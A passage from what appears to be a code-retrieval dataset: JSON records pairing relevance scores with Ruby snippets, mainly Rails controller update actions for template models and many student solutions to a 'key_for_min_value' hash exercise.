end", "title": "" }, { "docid": "d210ad114550e2652c532f5d8d47d8d9", "score": "0.60388714", "text": "def update\n respond_to do |format|\n if @test_template.update(test_template_params)\n format.html { redirect_to @test_template, notice: 'Test template was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_template }\n else\n format.html { render :edit }\n format.json { render json: @test_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a5404fdc7c92cdde433faff3db0abf4a", "score": "0.60314274", "text": "def update\n respond_to do |format|\n if @rel_template.update(rel_template_params)\n format.html { redirect_to @rel_template, notice: 'Rel template was successfully updated.' }\n format.json { render :show, status: :ok, location: @rel_template }\n else\n format.html { render :edit }\n format.json { render json: @rel_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bca7921c3e50434d285975f4a6561141", "score": "0.6030433", "text": "def update\n\n respond_to do |format|\n if @affiche_template.update_attributes(params[:affiche_template])\n @affiche_template.genATWithBloc\n format.html { redirect_to @affiche_template, notice: 'Affiche template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @affiche_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a2d6bf7a5ac66dfb25b30347d86c6918", "score": "0.60268104", "text": "def update\n respond_to do |format|\n if @note_template.user_id == current_user.id && @note_template.update(note_template_params)\n format.html { redirect_to @note_template, notice: 'Note template was successfully updated.' }\n format.json { render :show, status: :ok, location: @note_template }\n else\n format.html { render :edit }\n format.json { render json: @note_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c921bb2e53b535453bc76a1c7e53f438", "score": "0.6025185", "text": "def update\n respond_to do |format|\n if @api_v1_policy_group_template.update(api_v1_policy_group_template_params)\n format.html { redirect_to @api_v1_policy_group_template, notice: 'Policy group template was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_policy_group_template }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_policy_group_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9fc7f958792b5d7496122d02d7df71f", "score": "0.60214883", "text": "def update\n @breadcrumb = 'update'\n @contract_template = ContractTemplate.find(params[:id])\n @contract_template.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @contract_template.update_attributes(params[:contract_template])\n format.html { redirect_to @contract_template,\n notice: (crud_notice('updated', @contract_template) + \"#{undo_link(@contract_template)}\").html_safe }\n format.json { head :no_content }\n else\n @towns = towns_dropdown\n @provinces = provinces_dropdown\n format.html { render action: \"edit\" }\n format.json { render json: @contract_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "54f7313cf6851f84c968ea013351f611", "score": "0.602065", "text": "def update\n @notification_template = NotificationTemplate.find(params[:id])\n\n if @notification_template.update(notification_template_params)\n head :no_content\n else\n render json: @notification_template.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "bd385203984826fd56b82e2576f377de", "score": "0.6019704", "text": "def update!(**args)\n @template = args[:template] if args.key?(:template)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "bd385203984826fd56b82e2576f377de", "score": "0.6019704", "text": "def update!(**args)\n @template = args[:template] if args.key?(:template)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "bd385203984826fd56b82e2576f377de", "score": "0.6019704", "text": "def update!(**args)\n @template = args[:template] if args.key?(:template)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "90d19dfcaf1fc7b5c2a89ae2ec94a2ec", "score": "0.60183823", "text": "def update\n respond_to do |format|\n if @template_model.update(template_model_params)\n format.html { redirect_to @template_model, notice: 'Template model was successfully updated.' }\n format.json { render :show, status: :ok, location: @template_model }\n else\n format.html { render :edit }\n format.json { render json: @template_model.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c47551c34ebcd1488b664f934b406175", "score": "0.6012299", "text": "def update\n authorize!\n respond_to do |format|\n if @file_template.update(file_template_params)\n format.html { redirect_to @file_template, notice: t('shared.object_updated', model: @file_template.class.model_name.human) }\n format.json { render :show, status: :ok, location: @file_template }\n else\n format.html { render :edit }\n format.json { render json: @file_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8cfc2e02db6422b9eea71203d290085", "score": "0.6001143", "text": "def update\n respond_to do |format|\n if @order_template.update(order_template_params)\n format.html { redirect_to @order_template, notice: 'Order template was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_template }\n else\n format.html { render :edit }\n format.json { render json: @order_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce7b047914c2b0792b712dd7050281f3", "score": "0.60000473", "text": "def update\n respond_to do |format|\n if @spree_admin_template.update(spree_admin_template_params)\n format.html { redirect_to @spree_admin_template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @spree_admin_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a864c2df78bf0bfcdf3dfdf05f37cb98", "score": "0.59942573", "text": "def update\n respond_to do |format|\n if @exercise_template.update(exercise_template_params)\n format.html { redirect_to @exercise_template, notice: 'Exercise template was successfully updated.' }\n format.json { render :show, status: :ok, location: @exercise_template }\n format.whoa { render plain: 'success', status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @exercise_template.errors, status: :unprocessable_entity }\n format.whoa { render plain: @exercise_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5fd5f00640bdb0c785bcac4689a46f3c", "score": "0.5990172", "text": "def patch(data, options={})\n raise NotImplementedError, \"We only patchs to singular resources.\" if count > 1\n first.patch(data, options)\n end", "title": "" }, { "docid": "67df69ca63cb343d52a665f827a84917", "score": "0.5984192", "text": "def update\n @email_notification_template = EmailNotificationTemplate.find(params[:id])\n\n if @email_notification_template.update(email_notification_template_params)\n head :no_content\n else\n render json: @email_notification_template.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "277e500652852c45d197c08f8aa22f49", "score": "0.5971858", "text": "def update\n @inventory_template = InventoryTemplate.find(params[:id])\n\n respond_to do |format|\n if @inventory_template.update_attributes(params[:inventory_template])\n format.html { redirect_to @inventory_template, notice: 'Inventory template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inventory_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ed569a4d0bb1ab3179b1f747086e134", "score": "0.5969759", "text": "def update\n @resume_template = ResumeTemplate.find(params[:id])\n\n respond_to do |format|\n if @resume_template.update_attributes(params[:resume_template])\n format.html { redirect_to @resume_template, notice: 'Resume template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resume_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9565af4819a117fc9ed0a9f0cb651e9a", "score": "0.5966878", "text": "def update\n authorize! :manage, Document\n\n if params[:id]\n @document = Document.find(params[:id])\n success = @document.update_attributes(document_params)\n else\n @document = Document.new(document_params)\n template = DocumentTemplate.where(:name => params[:template]).first\n if !template\n head :bad_request\n return\n end\n @document.document_template = template\n @document.user_id = @user.id\n if change = ClientChange.find(params[:client_change_id])\n if change.type == 'template'\n change = ClientChange.where(\n :client => change.client,\n :created_at.lt => change.created_at,\n :type => 'client'\n ).desc(:created_at).first\n end\n @document.client_id = change.client_id\n @document.client_change_id = change.id\n success = @document.save!\n else\n success = false\n end\n end\n\n respond_to do |format|\n if success\n format.json { render json: get_json(@document) }\n else\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "262134acfbf761db29ce8d9d49f37b9f", "score": "0.5965952", "text": "def update\n if request.put?\n @templ=Sitetemplate.find(params[:id])\n if @templ\n @templ.update_attributes(params[:templ])\n redirect_to :action=>\"index\", :controller=>\"admin/templates\"\n end\n end\n end", "title": "" }, { "docid": "c3808504cf4a5f02f418c99d636c0168", "score": "0.5964884", "text": "def update\n @sql_template = SqlTemplate.find(params[:id])\n\n respond_to do |format|\n if @sql_template.update_attributes(params[:sql_template])\n format.html { redirect_to @sql_template, notice: 'Sql template was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sql_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7329858b3acda8d08f6999c1bd13ce29", "score": "0.5948211", "text": "def update\n respond_to do |format|\n if @resist_template.update(resist_template_params)\n format.html { redirect_to @resist_template, notice: 'Resist template was successfully updated.' }\n format.json { render :show, status: :ok, location: @resist_template }\n else\n format.html { render :edit }\n format.json { render json: @resist_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d5eaea298e64625a71a15a970f3b75ed", "score": "0.59220994", "text": "def patch *args\n make_request :patch, *args\n end", "title": "" }, { "docid": "e66f585b66a5dacfdb6b7471ef388537", "score": "0.59214216", "text": "def update\n @card_template = CardTemplate.find(params[:id])\n\n respond_to do |format|\n if @card_template.update_attributes(params[:card_template])\n format.html { redirect_to @card_template, notice: 'Card template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "406e2f94d8837560e2d1fe6a3034beda", "score": "0.59191203", "text": "def update\n respond_to do |format|\n if @job_template.update(job_template_params)\n format.html { redirect_to @job_template, notice: 'Job template was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_template }\n else\n format.html { render :edit }\n format.json { render json: @job_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6e42c38c444bc22adb4b6bce73384ff", "score": "0.5916022", "text": "def update\n @page_template = PageTemplate.find(params[:id])\n\n respond_to do |format|\n if @page_template.update_attributes(page_template_params)\n format.html { redirect_to(:action =>\"edit\", :notice => 'Page Template was successfully updated.') }\n format.json { render :json=> {:notice => 'Page Template was successfully updated.'} }\n else\n format.html { render :action=>\"edit\" }\n format.json { render :json=>@page_template.errors, :status=>\"unprocessable_entry\" }\n end\n end\n end", "title": "" }, { "docid": "e2544d72d15e590e6af7a2df0ca7d17a", "score": "0.5913688", "text": "def update\n @template = Template.find(params[:id])\n auth!\n\n # get a copy of the params and remove the bogus file fields as we process them\n template_parameters = template_params\n owner = params[:owner]\n if owner.present? and owner.split('-').size == 2\n template_parameters[:owner_type], template_parameters[:owner_id] = owner.split('-')\n end\n # doens't matter which file is in which field because the file type is inspected for each\n [:template_css, :template_image].each do |file|\n if !template_parameters[file].nil?\n # for the files that were uploaded, determine their media key based on their extension\n new_media = @template.media.build({file: template_parameters[file]})\n extension = (new_media.file_name.blank? ? nil : new_media.file_name.split('.')[-1].downcase)\n new_media.key = (extension == \"css\" ? \"css\" : \"original\") unless extension.nil?\n\n # mark any existing @template.media with this same key as replaced (obsolete)\n @template.media.each do |m|\n m.key = 'replaced_' + m.key if m.key == new_media.key and m != new_media\n end\n end\n # remove the bogus file field from the collection so activemodel doesn't complain about it\n template_parameters.delete(file)\n end\n\n if @template.update_attributes(template_parameters)\n process_notification(@template, {}, process_notification_options({params: {template_name: @template.name}}))\n flash[:notice] = t(:template_updated)\n end\n\n respond_with(@template)\n end", "title": "" }, { "docid": "45d90f968f46c07311251131477e5997", "score": "0.59105015", "text": "def update\n @template = Templates::Template.find(templates_page_params[:template_id])\n respond_to do |format|\n if @template_page.update(templates_page_params)\n format.html { redirect_to @template, notice: t('flash.template.pages.update.notice') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template_page.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34368ebdec39257faa9b8c4c02fc7348", "score": "0.59095365", "text": "def update\n @config_template = ConfigTemplate.find(params[:id])\n\n respond_to do |format|\n if @config_template.update_attributes(params[:config_template])\n format.html { redirect_to(@config_template, :notice => 'ConfigTemplate was successfully updated.') }\n format.json { render :json => @config_template, :status => :ok }\n format.xml { render :xml => @config_template, :status => :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @config_template.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @config_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5485174cf2b24eb5a3df33fde1be97d5", "score": "0.590384", "text": "def update\n @switch = Switch.find(params[:id])\n @templates = Template.all\n\n respond_to do |format|\n if @switch.update_attributes(params[:switch])\n format.html { redirect_to switches_path, :notice => 'Switch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @switch.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16503e4f28f6be5b4a2960e9455fd36f", "score": "0.58981645", "text": "def update\n @news_template = NewsTemplate.find(params[:id])\n\n respond_to do |format|\n if @news_template.update_attributes(params[:news_template])\n format.html { redirect_to @news_template, notice: 'News template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31491a01d78d60664582e452dd05f677", "score": "0.58963424", "text": "def update\n @db_template = DbTemplate.find(params[:id])\n\n respond_to do |format|\n if @db_template.update_attributes(params[:db_template])\n format.html { redirect_to @db_template, notice: 'Db template was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @db_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fa1e27ceb5cfbc5c4a059c5d2eccccc4", "score": "0.58902735", "text": "def update\n respond_to do |format|\n if @template_task.update(template_task_params)\n format.html { redirect_to @template_task, notice: 'Template task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template_task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e57d7902ba3d568c7f4014144022bf9", "score": "0.5886934", "text": "def update\n @programset_template = ProgramsetTemplate.find(params[:id])\n\n respond_to do |format|\n if @programset_template.update_attributes(params[:programset_template])\n format.html { redirect_to @programset_template, notice: 'Programset template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @programset_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "37b0b3c18b380d80c2faddff4ba5f9ad", "score": "0.58824885", "text": "def update\n respond_to do |format|\n if @item_template.update(item_template_params)\n format.html { redirect_to @item_template, notice: 'Item template was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_template }\n else\n format.html { render :edit }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f787dc3414d418b420abe5bbf38dd20", "score": "0.58692443", "text": "def update\n @form_template = FormTemplate.find(params[:id])\n\n respond_to do |format|\n if @form_template.update_attributes(params[:form_template])\n flash[:success] = 'Form template was successfully updated.'\n format.html { redirect_to(form_templates_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @form_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce6dd3daa776af11f425fb759180e1a4", "score": "0.58673745", "text": "def update\n # render :text =>'<pre>aaaaaaaaaaaa'+params.to_yaml and return\n @edit_template = Template.find(params[:id])\n if params[:template][:group_id] && params[:template][:group_id] == ''\n params[:template][:group_id] = 0\n end \n if !can_manage_template(current_user, @edit_template)\n flash[:notice] = 'You have no permission'\n redirect_to :action => \"index\"\n return\n end\n respond_to do |format|\n if @edit_template.update_attributes(params[:template])\n flash[:notice] = 'Template was successfully updated.'\n format.html { redirect_to :action=>\"show\", :id=>@edit_template.id }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @edit_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
bd3a7dfddc30bc69012064ac1ec450c4
Given a hash with numeric values, return the key for the smallest value
[ { "docid": "f4922dfd1dcdac07ea9fe2add209fd6b", "score": "0.0", "text": "def key_for_min_value(name_hash)\n min_so_far = nil\n key_so_far = nil\n name_hash.each do |name, value|\n if min_so_far == nil\n min_so_far = value\n key_so_far = name\n elsif min_so_far > value\n min_so_far = value\n key_so_far = name\n end\n end\n key_so_far\nend", "title": "" } ]
[ { "docid": "187165074e32a7573ee53a9cabb44ed4", "score": "0.88810027", "text": "def key_for_min_value(hash)\n lowest_key=nil \n lowest_value= Float::INFINITY\n hash.each do |name,number|\n if number < lowest_value\n lowest_value=number\n lowest_key= name\n end \n end\n lowest_key\nend", "title": "" }, { "docid": "226515ade14f33b0d702f287edd6fe9d", "score": "0.88777244", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\n end", "title": "" }, { "docid": "917f353c232d4640614845e6b7c840f9", "score": "0.8853504", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\n end", "title": "" }, { "docid": "10348c0f7efbf074c6402f6f47742839", "score": "0.88225716", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |key, value|\n if value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "d6c24d339b21831095c887c09768a0a6", "score": "0.87791526", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "d6c24d339b21831095c887c09768a0a6", "score": "0.87791526", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "5274f7bbba68cf15df3562d80d7ce3f1", "score": "0.87599903", "text": "def key_for_min_value(hash)\n low_key = nil\n low_val = 0\n hash.each do |key, val|\n if low_val == 0 || val < low_val\n low_val = val\n low_key = key\n end\n end\n low_key\n end", "title": "" }, { "docid": "1cc15f9ecd834daad0140761a4b31ca3", "score": "0.87394536", "text": "def key_for_min_value(hash)\n smallest = nil\n hash.each do |key, value|\n \tsmallest = key if smallest.nil?\n \tsmallest = key if value < hash[smallest]\n end\n smallest\nend", "title": "" }, { "docid": "90c5f24a7f0c6124d8f166cfd4439d06", "score": "0.86837065", "text": "def key_for_min_value(hash)\nlowest_key = nil\nlowest_val = Float::INFINITY\n hash.each do |key, val|\n if val < lowest_val\n lowest_val = val\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "d5553af71103c724668cba7fc4393ff5", "score": "0.8609664", "text": "def key_for_min_value(hash)\n value_array = []\n hash.each do |key, value|\n value_array << value\n end\n\n lowest_value = value_array.first\n value_array.each do |value|\n if value < lowest_value\n lowest_value = value\n end\n end\n\n hash.key(lowest_value)\nend", "title": "" }, { "docid": "8a58975f18d4954a20fccb99f6dc9b40", "score": "0.86074907", "text": "def key_for_min_value(num_hash)\n min_value = num_hash.collect{|key, num| num}.sort[0]\n key, num = num_hash.find {|key, num| num == min_value}\n key\nend", "title": "" }, { "docid": "45c7290567499ca3ce034aafdea8b667", "score": "0.85901284", "text": "def key_for_min_value(name_hash)\n lowest_number = Float::INFINITY\n lowest_key = nil\n name_hash.collect do |key, value|\n if value < lowest_number\n lowest_number = value\n lowest_key = key\n end\n end\n lowest_key \nend", "title": "" }, { "docid": "abf68bb16569607b80dedf139280c6d1", "score": "0.8578772", "text": "def key_for_min_value(hash)\n hash.min_by {|k,v| k}\nend", "title": "" }, { "docid": "a12e2b92a2177eaf9075e9e4abaaf51b", "score": "0.8574464", "text": "def key_for_min_value(hash)\n smallest_key = nil\n tiniest_value = nil\n hash.each do |key, value|\n if tiniest_value == nil || value < tiniest_value\n tiniest_value = value\n smallest_key = key\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "d1cf716c45a59a3f1faad1c83f59f7d7", "score": "0.8571103", "text": "def key_for_min_value(hash)\n\tnew_hash = Hash[hash.sort_by{|k,v| v}]\n\tnew_hash.keys.first\nend", "title": "" }, { "docid": "83f467e9815c0a652cb12bacbb080468", "score": "0.8561723", "text": "def key_for_min_value(hash)\n smallest_key = nil\n smallest_value = nil\n\n hash.each do |key, value|\n if smallest_value == nil || value < smallest_value\n smallest_value = value\n smallest_key = key\n end\n end\n return smallest_key\nend", "title": "" }, { "docid": "4350b724f36fef31121f91da1137c1c1", "score": "0.85604614", "text": "def key_for_min_value(hash)\n lowest = 1000000000000000000000\n if hash.empty?\n return nil\n else\n arr = hash.map do |key, value|\n if hash[key] <= lowest\n lowest = hash[key]\n end\n end\n hash.each do |key, value|\n if lowest == hash[key]\n return key\n end\n end\n end\nend", "title": "" }, { "docid": "f76a4cd2274f14f75d352b14c8d29bd1", "score": "0.8545519", "text": "def key_for_min_value(hash)\n if hash.empty?\n return nil\n else\n min_value = Float::INFINITY\n min_key = \"\"\n hash.each do |key, val|\n if val < min_value\n min_value = val\n min_key = key\n end\n end\n end\n min_key\nend", "title": "" }, { "docid": "4f23d7ac240865f09f0b4a3c14bcbc4a", "score": "0.85398656", "text": "def key_for_min_value(hash) \n small_key = nil\n small_value = nil\n hash.each do |a, b|\n if small_value == nil || b < small_value\n small_value = b\n small_key = a\n end\n end \n small_key\nend", "title": "" }, { "docid": "c6b25d8461cbb575dfa919b8f81a332c", "score": "0.8530813", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "c6b25d8461cbb575dfa919b8f81a332c", "score": "0.8530813", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "fd2efe9fd3810bfa002f7199cf8dab19", "score": "0.8505148", "text": "def key_for_min_value(hash)\n small_val = nil\n small_key = nil\n\n hash.collect do |key, value|\n if small_val == nil || small_val > value\n small_val = value\n small_key = key\n end\n end\n small_key\nend", "title": "" }, { "docid": "fc8481fa0f37bc7cbe43dc4d941b10aa", "score": "0.850431", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_val = nil\n hash.each do |key, val|\n if lowest_val == nil || val < lowest_val\n lowest_val = val\n lowest_key = key\n end\n end\n lowest_key\n\nend", "title": "" }, { "docid": "cbc05af89f66bfee58f5064b1d205024", "score": "0.84952796", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "3c6700cbd2ea0361870bd4d85c2db76f", "score": "0.8464652", "text": "def key_for_min_value(hash)\n min_value = nil\n min_key = nil\n\n hash.each do |key, value|\n if min_value == nil || value < min_value\n \tmin_value = value\n \tmin_key = key\n end\n end\n min_key\nend", "title": "" }, { "docid": "73a5bd3b8b46a6e68dad6296c171f06c", "score": "0.84629285", "text": "def key_for_min_value(hash)\n\tmin = Hash.new\n\tmin_value = 0\n\thash.each_pair do | key, num |\n\t\tif \tmin.empty?\n\t\t\tmin[key] = num\n\t\t\tmin_value = min[key]\n\t\telsif num < min_value\n\t\t\tmin.replace({key => num})\n\t\tend\n\tend\n\tmin.values\nend", "title": "" }, { "docid": "5ced3d13f6443860d99f05be7d515c1b", "score": "0.8460142", "text": "def key_for_min_value(hash_value)\n hash.invert.min&.last\nend", "title": "" }, { "docid": "b8ab4fe1e885b44f703fa1fa6f07a509", "score": "0.84545606", "text": "def key_for_min_value(hash)\n if hash.length == 0\n return\n end\n min = hash.first[1]\n min_key = hash.first[0]\n hash.each do |key, value|\n if value < min \n min = value\n min_key = key\n end\n end\n min_key\nend", "title": "" }, { "docid": "35891c2372ee9459348a913a0898da90", "score": "0.8447649", "text": "def key_for_min_value(hash)\n ref = nil\n answer = nil\n hash.each do |key, value|\n if ref == nil || value < ref\n ref = value\n answer = key\n end\n end\n answer\nend", "title": "" }, { "docid": "3be616dbcc198bab000a36f9482a9e25", "score": "0.8445423", "text": "def key_for_min_value(name_hash)\n\tlowest_int = 9999999999999\n\tlowest_int_key = nil\n\tname_hash.each do |key, value|\n\t\tif value < lowest_int\n\t\t\tlowest_int = value\n\t\t\tlowest_int_key = key\n\t\tend\n\tend\n\treturn lowest_int_key\nend", "title": "" }, { "docid": "5931a9b151f13dba8e800b2da35f4657", "score": "0.84450835", "text": "def key_for_min_value(hash)\n least = hash.reduce do |key, value|\n key.last > value.last ? value : key\n end \n if hash == {}\n least\n else\n least.first\n end\n end", "title": "" }, { "docid": "2d02c97195dd4c65890a5bf73a5eaaac", "score": "0.84361047", "text": "def key_for_min_value(hash)\nsmall_val=999999\nsmall_key= nil\n hash.each do |key, value|\n if value < small_val\n small_val = value \n small_key = key \n \n end\n end\n return small_key\nend", "title": "" }, { "docid": "68c083b336f4655607cd05a6f4ce1e7b", "score": "0.84343725", "text": "def key_for_min_value(name_hash)\n smallest = nil\n smallest_key = nil\n if name_hash.empty?\n return smallest_key\n else\n name_hash.each do |key, number|\n if smallest == nil\n smallest = number\n smallest_key = key\n elsif number <= smallest\n smallest = number\n smallest_key = key\n else\n smallest_key\n end\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "99dc179f590c57b51993ee5538a0dec3", "score": "0.84325874", "text": "def key_for_min_value(name_hash)\n if name_hash == {}\n return nil\n end\n return_key = nil\n smallest = Float::INFINITY\n name_hash.each do |key, value|\n if value.to_i < smallest\n smallest = value.to_i\n return_key = key\n end\n end\n return_key\nend", "title": "" }, { "docid": "7341ca23ed68b4691dab2252b518b7a1", "score": "0.842919", "text": "def key_for_min_value(hash)\n smallest_name = nil\n smallest_number = nil\n hash.each do |name, number|\n if smallest_number == nil || number < smallest_number\n smallest_number = number\n smallest_name = name\n end\n end\n smallest_name\nend", "title": "" }, { "docid": "020830f22425fece3b77fc5e8838f5cb", "score": "0.8426978", "text": "def key_for_min_value(hash)\n if hash == {}\n return nil\n else\n key_array = []\n value_array = []\n\n hash.each do |name, value|\n key_array << name\n value_array << value\n end\n\n i = 0\n smallest = value_array[0]\n\n value_array.each_with_index do |value, index|\n if value < smallest\n smallest = value\n i = index\n end\n end\n\n return key_array[i]\n end\nend", "title": "" }, { "docid": "46cb8698c6271a1cc374219528e87211", "score": "0.84262836", "text": "def key_for_min_value(hash)\n low_key = nil\n hash.each do |key, value|\n if low_key == nil || (low_key != nil && value < hash[low_key])\n low_key = key\n end\n end\n low_key\nend", "title": "" }, { "docid": "f0b4fe84074d3b429486583cb056e941", "score": "0.84187645", "text": "def key_for_min_value(hash)\n return nil if hash == {}\n ks = hash.map{|k, v| k}\n vs = hash.map{|k, v| v}\n min_index = vs.index(vs.min)\n ks[min_index]\nend", "title": "" }, { "docid": "8ea89fee2b9b053283cd67f01b4bd116", "score": "0.84126496", "text": "def key_for_min_value(hash)\n\n smallest = hash.collect {|key, value| value}\n smallest = smallest.min\n\n output = nil\n hash.each do |key, val|\n if val==smallest\n output=key\n end\n end\n output\nend", "title": "" }, { "docid": "c82d264affee3c7aeee4771c0c2138ee", "score": "0.84092647", "text": "def key_for_min_value(hash)\n i = 0\n min = 0\n min_key = nil\n hash.each do |key, value|\n unless i > 0\n min = value\n min_key = key\n end\n if min > value\n min = value\n min_key = key\n end\n i += 1\n end\n min_key\nend", "title": "" }, { "docid": "769884cf17d9db6fbb75b9316ca174d7", "score": "0.8402325", "text": "def key_for_min_value(hash)\n return nil if hash.size == 0\n min = hash.first\n hash.each {|k, v| v <= min[1] ? min = [k, v] : nil}\n min[0]\nend", "title": "" }, { "docid": "c45c181efc7de1e218dc24ac2734e986", "score": "0.83974236", "text": "def key_for_min_value(name_hash)\n return nil if name_hash.size == 0\n numbers = name_hash.collect {|name, number| number}\n lowest_key = \"\"\n lowest_num = numbers[0]\n name_hash.each do|name, num|\n if num <= lowest_num\n lowest_key = name\n lowest_num = num\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "9fe8fd05d03cff6f26dd4fea5eead4d5", "score": "0.83929235", "text": "def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n name_hash.collect do |word, num|\n if num < lowest_value\n lowest_value = num\n lowest_key = word\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "f7db41a1cd50a93ab7a3e5aa0633e7ed", "score": "0.83928937", "text": "def key_for_min_value(hash)\n return nil if hash.empty?\n min_value_key = nil\n min_value = (2**(0.size * 8 -2) -1) #Theorectical Fixnum_max \n #http://stackoverflow.com/questions/535721/ruby-max-integer\n hash.each do |key, value|\n \tif value < min_value\n \t\tmin_value_key = key \n \t\tmin_value = value\n \tend\n end\n min_value_key\nend", "title": "" }, { "docid": "5bf622df6f77ac34ecf5b2b18a63645a", "score": "0.8392043", "text": "def key_for_min_value(hash)\nlowest_k = nil\nlowest_v = nil\nhash.each do |k, v|\n if lowest_v == nil || v < lowest_v\n lowest_v = v\n lowest_k = k\n end\n end\n lowest_k\n end", "title": "" }, { "docid": "4eaac21f353e79687cc22e2dc77383ce", "score": "0.8387395", "text": "def key_for_min_value(hash)\n return nil if hash.empty? == true\n minimum = [nil, Float::INFINITY]\n hash.each do |key, value|\n if value < minimum[1]\n minimum = [key, value]\n end \n end\n minimum[0]\nend", 